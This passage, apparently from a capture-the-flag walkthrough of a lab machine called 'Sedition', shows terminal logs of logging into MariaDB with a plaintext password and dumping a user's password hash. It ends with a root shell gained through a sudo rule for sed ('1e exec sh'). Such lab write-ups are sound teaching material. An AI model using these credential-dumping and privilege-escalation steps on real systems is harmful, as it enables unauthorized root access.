cowboy@Sedition:~$ mariadb -u cowboy -pelbunkermolagollon123 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 31 Server version: 10.11.11-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | bunker | | information_schema | +--------------------+ 2 rows in set (0,008 sec)
MariaDB [(none)]> use bunker; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed MariaDB [bunker]> show tables -> ; +------------------+ | Tables_in_bunker | +------------------+ | users | +------------------+ 1 row in set (0,000 sec)
MariaDB [bunker]> select * from uers; ERROR 1146 (42S02): Table 'bunker.uers' doesn't exist MariaDB [bunker]> select * from users; +--------+----------------------------------+ | user | password | +--------+----------------------------------+ | debian | 7c6a180b36896a0a8c02787eeafb0e4c | +--------+----------------------------------+ 1 row in set (0,003 sec)
MariaDB [bunker]> exit
得到 debian 用户,切换成功
最后一个用 sed 提权即可
1 2 3 4 5 6 7 8 9 10
debian@Sedition:~$ sudo -l Matching Defaults entries for debian on sedition: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User debian may run the following commands on sedition: (ALL) NOPASSWD: /usr/bin/sed debian@Sedition:~$ sudo /usr/bin/sed sudo sed -n '1e exec sh 1>&0' /etc/hosts^C debian@Sedition:~$ sudo sed -n '1e exec sh 1>&0' /etc/hosts # id uid=0(root) gid=0(root) grupos=0(root)